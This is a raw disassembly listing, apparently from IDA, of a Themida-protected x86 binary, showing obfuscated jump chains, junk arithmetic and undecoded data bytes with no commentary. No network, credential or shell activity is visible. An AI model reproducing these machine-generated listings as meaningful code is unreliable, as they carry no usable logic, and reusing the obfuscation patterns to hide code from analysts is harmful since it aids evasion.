		dd 0F7D7F7FFh, 9FC781D7h, 8175E819h, 39675CEFh,	0E9FE31F2h
		dd 377Dh, 0C7815F54h, 4, 0FF590DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C4F9:				; CODE XREF: Themida_:005672D0j
		add	ebp, 4
		jmp	loc_56839E
; ---------------------------------------------------------------------------
		dd 4C483h, 4EC83C3h, 0B1240C89h, 4AE95069h, 8B000063h
		dd 0E953243Ch, 0FFFF98A0h, 0D4A6E951h, 0C181FFFFh, 5D5707EBh
		dd 0CA87E981h, 0C1834E2Eh, 3EBF5701h, 29D88F14h, 0CB095FF9h
		dd 0E5EB8159h, 81E92F7Fh, 514D95C5h, 81DD014Eh,	514D95EDh
		dd 40E95B4Eh
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C55B:				; CODE XREF: Themida_:0055E804j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 1
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	eax, 67542ED0h
		sub	eax, ebx
		sub	eax, 67542ED0h
		push	dword ptr [esp]
		jmp	loc_5628A3
; ---------------------------------------------------------------------------
		align 2
		dw 66F8h
		dd 81241C8Bh, 2C4h, 240C8B00h, 4038E9h,	243C8700h, 29BD555Ch
		dd 2935336Ah, 0F3295DEBh, 6A29C381h, 815E3533h,	7927B8C3h
		dd 0E9C3015Fh, 0FFFF4527h
; ---------------------------------------------------------------------------


loc_56C5C0:				; CODE XREF: Themida_:0056617Fj
		mov	ebp, 73C102D3h
		shr	ebp, 3
		not	ebp
		sub	ebp, 230FE3h
		jmp	loc_561641
; ---------------------------------------------------------------------------


loc_56C5D5:				; CODE XREF: Themida_:0056BFDCj
		pop	edi
		jmp	loc_56F153
; ---------------------------------------------------------------------------
		align 4
		dd 747FE9DDh, 28BAFFFFh, 0BE26B213h, 0DBE732ACh, 65AE9h
		db 0
; ---------------------------------------------------------------------------


loc_56C5F1:				; CODE XREF: Themida_:00564524j
		xor	ecx, edx
		pop	edx
		push	edi
		mov	edi, 1266132Ah
		jmp	loc_5721B0
; ---------------------------------------------------------------------------
		db 5
		dd 0C296BB2h, 7CACBE56h, 0F00166CBh, 0EC83595Eh, 241C8904h
		dd 4BBh, 5A190500h, 0D8010730h,	305A192Dh, 241C8B07h, 4C481h
		dd 4870000h, 0EE835C24h, 24343304h, 33243431h, 248B2434h
		dd 24048924h, 1A55E958h, 0EF83FFFFh, 8E7C1FFh, 0FFA439E9h
		dd 24248BFFh, 81242489h, 42404h, 2C8B0000h, 13C76824h
		dd 14890000h, 81E28924h, 4C2h, 4EC8300h, 0B8240489h, 7AC45514h
		dd 273EC035h, 29C10D55h, 17E913F2h, 0B8FFFF54h,	430336FEh
		dd 677D68h, 243C8900h, 0B67C91BFh, 5FF80960h, 0C731F831h
		dd 974FF831h, 48810605h, 9DC2819Ch, 8179587Ch, 594788C2h
		dd 0E9C2016Ch, 0FFFF7FC1h
; ---------------------------------------------------------------------------


loc_56C6C4:				; CODE XREF: Themida_:0056C955j
		mov	[esp], edx
		push	edx
		jmp	loc_569630
; ---------------------------------------------------------------------------


loc_56C6CD:				; CODE XREF: Themida_:00561C22j
		pop	edi
		push	ebp
		jmp	loc_567289
; ---------------------------------------------------------------------------
		dd 4C48158h, 51000000h,	0C1815954h, 4, 5104C183h, 0FFDE23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C6ED:				; CODE XREF: Themida_:00560420j
		add	eax, esi
		pop	esi
		push	edx
		mov	edx, 73DA3FCFh
		xor	edx, 16008BBh
		add	edx, 9585E401h
		jmp	loc_562C52
; ---------------------------------------------------------------------------
		db 89h
		dd 0B1E92434h, 55000016h, 0D0ADF9BDh, 0E9EB31CEh, 0FFFFFC76h
byte_56C71C	db 83h,	0ECh, 4		; DATA XREF: Themida_:0055E050o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_560F6C
; ---------------------------------------------------------------------------


loc_56C727:				; CODE XREF: Themida_:00562B9Fj
		push	ecx
		jmp	loc_570A54
; ---------------------------------------------------------------------------


loc_56C72D:				; CODE XREF: Themida_:00569D2Fj
		add	esp, 4
		shl	eax, 8
		jmp	loc_562BE0
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 62FAE924h, 8B66FFFFh, 0C4832434h,	28686602h
		dd 34896634h, 0B8665024h, 25E91E3Bh, 89FFFFE1h,	5053240Ch
		dd 88BE9h, 40500h, 4050000h, 87000000h,	248B2404h, 83BF5724h
		dd 81599648h, 0C626C9C7h, 0D1DFF712h, 64BE56E7h, 29274721h
		dd 6331E9F7h, 0BB530000h, 1F7472B8h, 538B6853h,	435B76CFh
		dd 0F381E3D1h, 0EC739EA5h, 0FF47DCE9h, 240483FFh, 65E95804h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C7BB:				; CODE XREF: Themida_:0056371Aj
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_567583
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFDAB0E9h, 6AE335FFh, 2C8B6395h, 4C48324h, 6B24E995h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C7DE:				; CODE XREF: Themida_:0055F380j
		add	dword ptr [esp], 4
		jmp	loc_55E99B
; ---------------------------------------------------------------------------


loc_56C7EA:				; CODE XREF: Themida_:0056588Ej
		xor	eax, 67E76BBFh
		and	[edi+1Ch], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57280E
; ---------------------------------------------------------------------------
		dd 2474FF56h, 48F5E04h,	24248B24h, 8868E9F7h, 8900004Dh
		dd 9C502414h, 0FF329EE9h, 9FEF81FFh, 162514Ah, 9FBE56EFh
		dd 162514Ah, 0EF815EF7h, 7D676986h, 0E9242C8Bh,	0FFFFBC60h
		dd 4EC8355h, 68243C89h,	1F542F75h, 0E9243C8Bh, 0FFFFB748h
		dd 0B0BB5359h, 0F7290D73h, 74C381D3h, 501A5A68h, 0C70763B8h
		dd 23B1E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C86A:				; CODE XREF: Themida_:005724EEj
		mov	ebp, 740183Ah
		push	ecx
		mov	ecx, 156E5A3Dh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5671C6
; ---------------------------------------------------------------------------


loc_56C87D:				; CODE XREF: Themida_:00561E9Cj
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edx
		jmp	loc_560568
; ---------------------------------------------------------------------------


loc_56C88B:				; CODE XREF: Themida_:00568F48j
		xor	eax, edx
		xor	edx, eax
		jmp	loc_567CF4
; ---------------------------------------------------------------------------
		dd 621FD5BFh, 0F2CF8130h, 0C11C8D4Dh, 474706E7h, 47C7E956h
		dd 89520000h, 4C281E2h,	83000000h, 148704C2h, 62E924h
		dd 0EB810000h, 7A956144h, 0FFA2FAE9h, 2C383FFh,	0FF8544E9h
		dd 13EB81FFh, 5E6B4E24h, 8904EC83h, 0EC81243Ch,	4, 68241489h
		dd 6A82502Bh, 92E2815Ah, 4232D85Eh, 1D8E281h, 0B6E90D3Dh
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C8FF:				; CODE XREF: Themida_:00568E2Aj
		mov	edx, 6BEE1DDDh
		mov	eax, edx
		pop	edx
		mov	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_569B8E
; ---------------------------------------------------------------------------
		db 5Eh,	89h, 0C3h
		dd 0E92434FFh, 0FFFFB8A0h, 24048F5Ch, 0FFA035E9h, 0FFC683FFh
		dd 8108EEC1h, 4ECh, 24048900h, 0DC2DFAB8h, 4EC832Bh, 0E9241489h
		dd 0FFFF6EE6h
; ---------------------------------------------------------------------------


loc_56C948:				; CODE XREF: Themida_:0055F50Bj
		and	eax, ebp
		pop	ebp
		shr	eax, 0Bh
		xor	ecx, eax
		push	0D51h
		jmp	loc_56C6C4
; ---------------------------------------------------------------------------


loc_56C95A:				; CODE XREF: Themida_:0056530Cj
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 8
		add	eax, 0EF144E4h
		add	eax, 0F094CBE4h
		sub	edx, 3B8361ECh
		add	edx, eax
		jmp	loc_56501A
; ---------------------------------------------------------------------------


loc_56C97A:				; CODE XREF: Themida_:0056EE7Cj
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5635AC
; ---------------------------------------------------------------------------
		dd 4C281h, 0E9550000h, 0FFFF1FC3h, 6301EA81h, 0EAC17E4Ch
		dd 0C2BCE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C9AA:				; CODE XREF: Themida_:005628D9j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55F171
; ---------------------------------------------------------------------------


loc_56C9B6:				; CODE XREF: Themida_:005713A3j
		push	17A3h
		jmp	loc_562DF1
; ---------------------------------------------------------------------------


loc_56C9C0:				; CODE XREF: Themida_:00569F75j
		mov	edi, 462441B2h
		not	edi
		sub	edi, 2C135103h
		push	esi
		jmp	loc_55FEC7
; ---------------------------------------------------------------------------
aW_Sa		db 'W¿',0Ah
		db '_ì|éí',0Ah,0
		align 2


loc_56C9DE:				; CODE XREF: Themida_:00569C32j
		push	ecx
		push	esi
		push	44CF5123h
		jmp	loc_565573
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 9DF6E924h, 0D5F7FFFFh, 2EDC14Dh, 6B45ED81h, 0EDC157DDh
		dd 0DCED8103h, 29EDF0C5h, 0CF015DEFh, 0FFCF7BE9h, 240C89FFh
		dd 746BE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CA1A:				; CODE XREF: Themida_:00570E69j
		pop	esi
		jmp	loc_560A92
; ---------------------------------------------------------------------------
		dd 335E1D0Dh, 48813500h, 0E0C14384h, 8C24E902h,	112DFFFFh
		dd 0E9423F49h, 5Ah
; ---------------------------------------------------------------------------


loc_56CA3C:				; CODE XREF: Themida_:0055F801j
		mov	[esp], edx
		jmp	loc_570CC3
; ---------------------------------------------------------------------------
		dd 875AD129h, 28E9240Ch
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CA4F:				; CODE XREF: Themida_:00567C34j
		add	esp, 4
		add	edx, 668B1D5Ch
		add	ebx, 29C645D3h
		add	ebx, edx
		jmp	loc_562BCE
; ---------------------------------------------------------------------------


loc_56CA68:				; CODE XREF: Themida_:00562BE8j
		push	eax
		jmp	loc_566E40
; ---------------------------------------------------------------------------
		dw 1CBFh
		dd 316A69B0h, 0EB295FFDh, 5BDF015Dh, 20D0EF81h,	0D4E97B7Ah
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CA87:				; CODE XREF: Themida_:00565590j
		mov	edi, esp
		push	422Bh
		mov	[esp], ebp
		jmp	loc_570BCF
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 3F491105h, 4335A42h,	24043124h, 5C240433h, 8B240C87h
		dd 34FF2424h, 2434FF24h, 0E0895058h, 72AE9h, 243C3300h
		dd 33243C31h, 248B243Ch, 8D9E924h, 0E95D0000h, 0FFFF3DD6h
; ---------------------------------------------------------------------------


loc_56CAD4:				; CODE XREF: Themida_:0056E299j
		neg	dl
		xor	dl, 83h
		mov	ch, dl
		pop	edx
		xor	dl, ch
		jmp	loc_56A21B
; ---------------------------------------------------------------------------


loc_56CAE3:				; CODE XREF: Themida_:00565318j
		pop	eax
		sub	ebx, 264821D0h
		add	ebx, esi
		jmp	loc_567F09
; ---------------------------------------------------------------------------


loc_56CAF1:				; CODE XREF: Themida_:00570248j
		push	edi
		push	edx
		mov	edx, 629B7BEAh
		mov	edi, edx
		jmp	loc_56D624
; ---------------------------------------------------------------------------
		db 80h
		dd 57E9B0F1h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CB07:				; CODE XREF: Themida_:00569956j
		mov	[esp], ecx
		mov	ecx, 238520D3h
		inc	ecx
		jmp	loc_55FCE5
; ---------------------------------------------------------------------------


loc_56CB15:				; CODE XREF: Themida_:0056AB4Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dd 0AD68C781h, 0C2815BACh, 5F4E67E9h, 0FF66E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CB35:				; CODE XREF: Themida_:0056F3A7j
		add	esp, 4
		push	esi
		mov	esi, edi
		mov	ebx, esi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	4637h
		mov	[esp], ebx
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_560CC1
; ---------------------------------------------------------------------------
		dd 5024248Bh, 6CE9B0B4h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CB67:				; CODE XREF: Themida_:00570D78j
		add	ch, 1
		neg	ch
		push	ebx
		push	eax
		mov	al, 58h
		mov	bh, 7Fh
		add	bh, al
		pop	eax
		shr	bh, 2
		neg	bh
		jmp	loc_569DB8
; ---------------------------------------------------------------------------
		db 0F7h
		dd 954FE9D6h, 1489FFFFh, 59E95424h, 81000017h, 4D0827EBh
		dd 0BF38157h, 81432E38h, 8CEF5BF3h, 413AE9DCh, 885C0000h
		dd 0FF01875Ch, 34FF2434h, 59C7E924h, 0D7F70000h, 3B60F781h
		dd 0B9511CCCh, 77C9509Ah, 1A81E981h, 2DE91FF9h
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CBCF:				; CODE XREF: Themida_:00565587j
		not	ecx
		jmp	loc_570E5F
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 835704C4h, 116804ECh, 8900000Ah, 4832424h, 48F0424h
		dd 24048124h, 4, 0D60EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CBFA:				; CODE XREF: Themida_:00564AF8j
		sub	esi, 6370493Bh
		sub	esi, edi
		push	edx
		mov	edx, 6370493Bh
		jmp	loc_562BED
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 2
		dd 1000000h, 2434FFD9h,	81241C8Bh, 4C4h, 4C48100h, 0E9000000h
		dd 0FFFF9558h, 0E95BD801h, 0FFFF2DDBh, 4A2271BDh, 81D5F76Fh
		dd 127876F5h, 2DCE920h,	54E90000h, 1FFFF14h, 0B180E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CC52:				; CODE XREF: Themida_:00560D8Fj
		push	edx
		mov	edx, 1E171947h
		or	ebp, edx
		pop	edx
		jmp	loc_56AE40
; ---------------------------------------------------------------------------
		dd 0E943DA31h, 0FFFFD7DBh, 4055854h, 83000000h,	0FF5002E8h
		dd 0E9042474h, 0FFFF82C9h
; ---------------------------------------------------------------------------


loc_56CC7C:				; CODE XREF: Themida_:0056878Fj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_564653
; ---------------------------------------------------------------------------
		db 87h
		dd 87D3F7D9h, 0C98141D9h, 7CC522FBh, 2D52C181h,	0F9E97030h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CC9F:				; CODE XREF: Themida_:00570AF5j
		push	ebp
		push	ebx
		jmp	loc_55F44D
; ---------------------------------------------------------------------------
		dw 0B9BAh
		dd 29070B64h, 0ED815DEAh, 10813E0Ah, 0C581D501h, 10813E0Ah
		dd 433685Ah, 0A0E90000h, 8BFFFFDDh, 34892424h, 730EE924h
		dd 8B58FFFFh, 89532414h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 2434FF5Ch, 4C4835Eh,	0FF234DE9h, 240433FFh, 242C895Ch
		dd 0FF5DFFE9h, 51E389FFh, 4B9h,	0E9CB0100h, 32E4h, 28EBF580h
		dd 0ECD059ECh, 0FF534DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CD1D:				; CODE XREF: Themida_:0055E19Cj
		push	6BBEh
		mov	[esp], edx
		push	eax
		mov	eax, 24562542h
		jmp	loc_55F8A7
; ---------------------------------------------------------------------------


loc_56CD30:				; CODE XREF: Themida_:00568DEFj
		pop	edx
		add	edx, 8B09B4h
		mov	esi, [esp]
		add	esp, 4


loc_56CD3D:				; CODE XREF: Themida_:0056A415j
					; Themida_:0056FA7Bj
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_56C3E6
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0F8h
		dd 29B3B97Ch, 29E95BDFh
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CD5B:				; CODE XREF: Themida_:0055FEDFj
		add	edi, esi
		jmp	loc_56178C
; ---------------------------------------------------------------------------


loc_56CD62:				; CODE XREF: Themida_:0057288Aj
		mov	[esp], esi
		push	ebp
		mov	ebp, 247D7483h
		neg	ebp
		inc	ebp
		sub	esp, 4
		jmp	loc_566160
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0A318EFB3h, 505FF901h, 3ECEE9h, 0F3815B00h, 0E00CFh
		dd 0F75AE957h, 2C8BFFFFh, 4C48324h, 8104C483h, 4C4h, 56066800h
		dd 1C890000h, 1C8B5424h, 1983E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56CDB2:				; CODE XREF: Themida_:00563127j
		pop	ebx
		add	ebx, 4
		jmp	loc_56D502
; ---------------------------------------------------------------------------
		dw 489h
		dd 12D9E924h, 148BFFFFh, 1AFAE924h, 0C7810000h,	4, 232568h
		dd 24048900h, 8904EC83h, 10682434h, 5E458457h, 658EF681h
		dd 0B8507C56h, 0D1372A73h, 4EC81h, 2C890000h, 84B1E924h
		dd 3DBFFFFFh, 14D044Ah,	9335E9F9h, 4B9FFFFh, 1000000h
		dd 0C68159CEh, 4, 5C243487h, 0FF203DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CE25:				; CODE XREF: Themida_:0056A95Bj
		push	edx
		mov	edx, 0FD539850h
		sub	ebx, 87E691Fh
		add	ebx, edx
		push	eax
		mov	eax, 749D6CBBh
		add	eax, 93E0FC64h
		add	ebx, eax
		pop	eax
		pop	edx
		xor	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 1BB61601h
		xor	esi, 0E8B0523h
		push	edx
		mov	edx, 15BA2095h
		xor	esi, edx
		mov	edx, [esp]
		push	ebx
		jmp	loc_5697D3
; ---------------------------------------------------------------------------
		dw 23B2h
		dd 0FFF36EE9h, 90B1FFh,	0ADE959CBh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CE73:				; CODE XREF: Themida_:00572455j
		xor	eax, 1D8A43CEh
		xor	eax, 0B9B53BFh
		xor	eax, 0BD66E298h
		sub	ebp, eax
		pop	eax
		pop	ebx
		add	ecx, 67628C1h
		add	ecx, 7FAD743Dh
		sub	ecx, ebp
		push	eax
		push	ebp
		mov	ebp, 698146F8h
		mov	eax, 162C32C5h
		xor	eax, ebp
		pop	ebp
		sub	ecx, eax
		pop	eax
		jmp	loc_56D84F
; ---------------------------------------------------------------------------
		db 56h
		dd 0AF29B4BEh, 8BF00122h, 0C4812434h, 4, 6A7B4135h, 348B5093h
		dd 4C48124h, 58000000h,	16B968h, 242C8900h, 418DE9h, 4EC8100h
		dd 89000000h, 0B1512404h, 284CB43Eh, 240C8BCCh,	0F604C483h
		dd 0F6DCF6D4h, 5AB353D4h, 28B3F380h, 0E7285BDCh, 5BF92858h
		dd 0C8002F2Ch, 0C8B2F04h, 4C48324h, 0D8008E04h,	0C0A1B652h
		dd 0F68008EEh, 47D5E97Ah, 0BB53FFFFh, 39C9740Ch, 0E906E3C1h
		dd 0FFFF1B92h, 5DE9C301h, 5AFFFF23h, 7B06857h, 0EE90000h
		dd 29FFFFD7h, 5E959C8h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CF4B:				; CODE XREF: Themida_:0056DA36j
		sub	ecx, ebx
		pop	ebx
		sub	eax, 630A30F4h
		add	eax, ecx
		push	edx
		mov	edx, 630A30F4h
		add	eax, edx
		pop	edx
		pop	ecx
		push	eax
		jmp	loc_563CAA
; ---------------------------------------------------------------------------


loc_56CF65:				; CODE XREF: Themida_:0056749Fj
		mov	edi, esp
		push	eax
		mov	eax, 699B4CEEh
		inc	eax
		shl	eax, 1
		not	eax
		xor	eax, 2CC96625h
		jmp	loc_56DF51
; ---------------------------------------------------------------------------
		dd 39FEE95Ch, 4BB0000h,	29000000h, 34875BDEh, 24248B24h
		dd 52240489h, 0D088DA88h, 0FF5E2DE9h, 4BAFFh, 0D7010000h
		dd 243C875Ah, 0E9F1F75Ch, 0FFFF7598h, 1CBBh, 14C38100h
		dd 15A4619h, 14EB81FBh,	8B5A4619h, 241C8B03h, 7F8168h
		dd 241C8900h, 3FE9E389h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CFD7:				; CODE XREF: Themida_:005711B8j
		add	ebp, eax
		jmp	loc_56D7B5
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 5076E9h
		db 0
; ---------------------------------------------------------------------------


loc_56CFE9:				; CODE XREF: Themida_:0056AD27j
		sub	esi, 0A03D8928h
		jmp	loc_56AADD
; ---------------------------------------------------------------------------
		dd 8E2447B0h, 0B652522Ch, 80DEF6B8h, 0F0081BC6h, 0E546E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D00A:				; CODE XREF: Themida_:0056EE70j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 7D516B02h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56FB8B
; ---------------------------------------------------------------------------
		dd 0C2F18158h, 0E95B15B2h, 0FFFF8C06h, 3BBF68h,	24248900h
		dd 4240481h, 8F000000h,	0BE562404h, 4, 0FFBBF4E9h
		db 0FFh
byte_56D04D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DE24o
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 0FFEBABE9h, 5CC181FFh
		dd 15A0D2Eh, 0BF5759CBh, 653A76B7h, 2E7C147h, 85B1C781h
		dd 0FB29A88Eh, 81243C8Bh, 4C4h,	0BDB6E900h, 0E389FFFFh
		dd 4B850h, 0C3810000h, 0C345278h, 0EB81C301h, 0C345278h
		dd 0FF41A0E9h, 241C8BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_560521
; ---------------------------------------------------------------------------
		db 52h
		dd 921D73BAh, 5AD72119h, 0FF6A53E9h, 0DE957FFh
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D0D7:				; CODE XREF: Themida_:0055F838j
		pop	edx
		add	edx, 6AFC08E2h
		jmp	loc_56470C
; ---------------------------------------------------------------------------


loc_56D0E3:				; CODE XREF: Themida_:00568EBBj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_565700
; ---------------------------------------------------------------------------


loc_56D0ED:				; CODE XREF: Themida_:00566863j
		pop	ecx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_570C5D
; ---------------------------------------------------------------------------
word_56D106	dw 48Bh			; DATA XREF: Themida_:0055E020o
aHe		db '$h¥!',0
		align 2
		dw 1489h
		dd 3C9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D116:				; CODE XREF: Themida_:0056B9F2j
		mov	edx, esi
		pop	esi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_572828
; ---------------------------------------------------------------------------


loc_56D12E:				; CODE XREF: Themida_:00565C1Ej
		mov	edx, 4B5211A0h
		mov	ecx, 988746D1h
		add	ecx, 505041B8h
		sub	ecx, edx
		sub	ecx, 505041B8h
		mov	edx, [esp]
		add	esp, 4
		sub	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 3D915581h
		sub	eax, edi
		pop	edi
		sub	eax, 20E504EFh
		add	eax, edx
		add	eax, 20E504EFh
		add	eax, 3D915581h
		jmp	loc_570207
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0Ch
		dd 5337AA78h, 0FFD227E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D17D:				; CODE XREF: Themida_:00560031j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 52657975h
		sub	ecx, 1
		inc	ecx
		shl	ecx, 1
		shl	ecx, 5
		or	ecx, 4EF358FFh
		sub	ecx, 0DFFF5DFBh
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	7769h
		jmp	loc_56DF90
; ---------------------------------------------------------------------------
		db 83h
		dd 0C48304C4h, 57A6804h, 1C890000h, 0CEBA5224h,	0BB3DF849h
		dd 0C207B656h, 7639C381h, 0FE956F7h, 5FFFFE2h, 4, 0FF4EB8E9h
		db 0FFh
byte_56D1F1	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055DE80o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5712CA
; ---------------------------------------------------------------------------
		db 81h
		dd 0C9755CF5h, 5DEE3111h, 0DE9F521h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D21F:				; CODE XREF: Themida_:0056F690j
		push	ebx
		mov	ebx, 33BA773Fh
		xor	ecx, ebx
		pop	ebx
		xor	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_572982
; ---------------------------------------------------------------------------


loc_56D232:				; CODE XREF: Themida_:00567070j
		push	esi
		push	edi
		jmp	loc_562084
; ---------------------------------------------------------------------------


loc_56D239:				; CODE XREF: Themida_:005602DAj
		xor	ecx, 0B9D51900h
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56AC8D
; ---------------------------------------------------------------------------
		dd 5158C130h, 0F5801DB5h, 718DE95Eh
		db 2 dup(0FFh)
word_56D25E	dw 8B66h		; DATA XREF: Themida_:0055DFB4o
		dd 50552404h, 1E7268h, 24248900h, 4240481h, 8B000000h
		dd 89562404h, 4C681E6h,	81000000h, 4C6h, 24348700h, 4055Ch
		dd 0E6E90000h, 81FFFF22h, 0F539E4EEh, 83C28150h, 1223530h
		dd 83EA81F2h, 5E223530h, 8704C283h, 15C2414h, 240C8BCDh
		dd 4C481h, 0FF550000h, 5D042474h, 5C24048Fh, 0E92424D3h
		dd 0FFFF0DD3h
; ---------------------------------------------------------------------------


loc_56D2CC:				; CODE XREF: Themida_:00562DECj
		add	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_5621DF
; ---------------------------------------------------------------------------
		dw 5066h
		dd 0E38804B4h, 0FF86E2E9h, 2434FFFFh, 4C4815Ah,	87000000h
		dd 7CE9242Ch, 81FFFF3Eh, 4C4h, 4E88300h, 759068h, 24048900h
		dd 42474FFh, 5724048Bh,	0BE56E789h, 4, 0FF2790E9h, 0B8505BFFh
		dd 66736715h, 48BC331h,	0A51CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D32A:				; CODE XREF: Themida_:005621DAj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55F3A1
; ---------------------------------------------------------------------------
		dd 0EE81D6F7h, 93F1B8F2h, 0C15EF089h, 0E0C102E8h, 9F354002h
		dd 48279430h, 4983E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D355:				; CODE XREF: Themida_:005725D3j
		add	ebp, eax
		jmp	loc_570D25
; ---------------------------------------------------------------------------
		dd 0B2C7F381h, 0DE29695Ah, 0FF2CACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D369:				; CODE XREF: Themida_:00568BACj
		add	edi, 27134106h
		pop	edx
		jmp	loc_572321
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 871FBBDh, 0B1C58171h, 0F72EB029h, 87D5F7D5h,	87D7F7FDh
		dd 0DE668FDh, 0C890000h, 2A4BE924h, 9C50FFFFh, 0FF0CFEE9h
		dd 68E95CFFh, 81000003h, 4C2h, 0D0B95100h, 0C11DA614h
		dd 0E1C106E9h, 3E9C106h, 36E5E949h
		db 2 dup(0)
word_56D3C2	dw 1CF6h		; DATA XREF: Themida_:0055DF94o
		dd 0D4E99C24h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D3CB:				; CODE XREF: Themida_:0055FDD1j
		pop	edx
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_568AC1
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 24043324h,	0FF7A92E9h, 241489FFh, 24148B54h
		dd 0E9E78957h, 1FCCh
; ---------------------------------------------------------------------------


loc_56D3F4:				; CODE XREF: Themida_:0055EDC8j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_56BA07
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
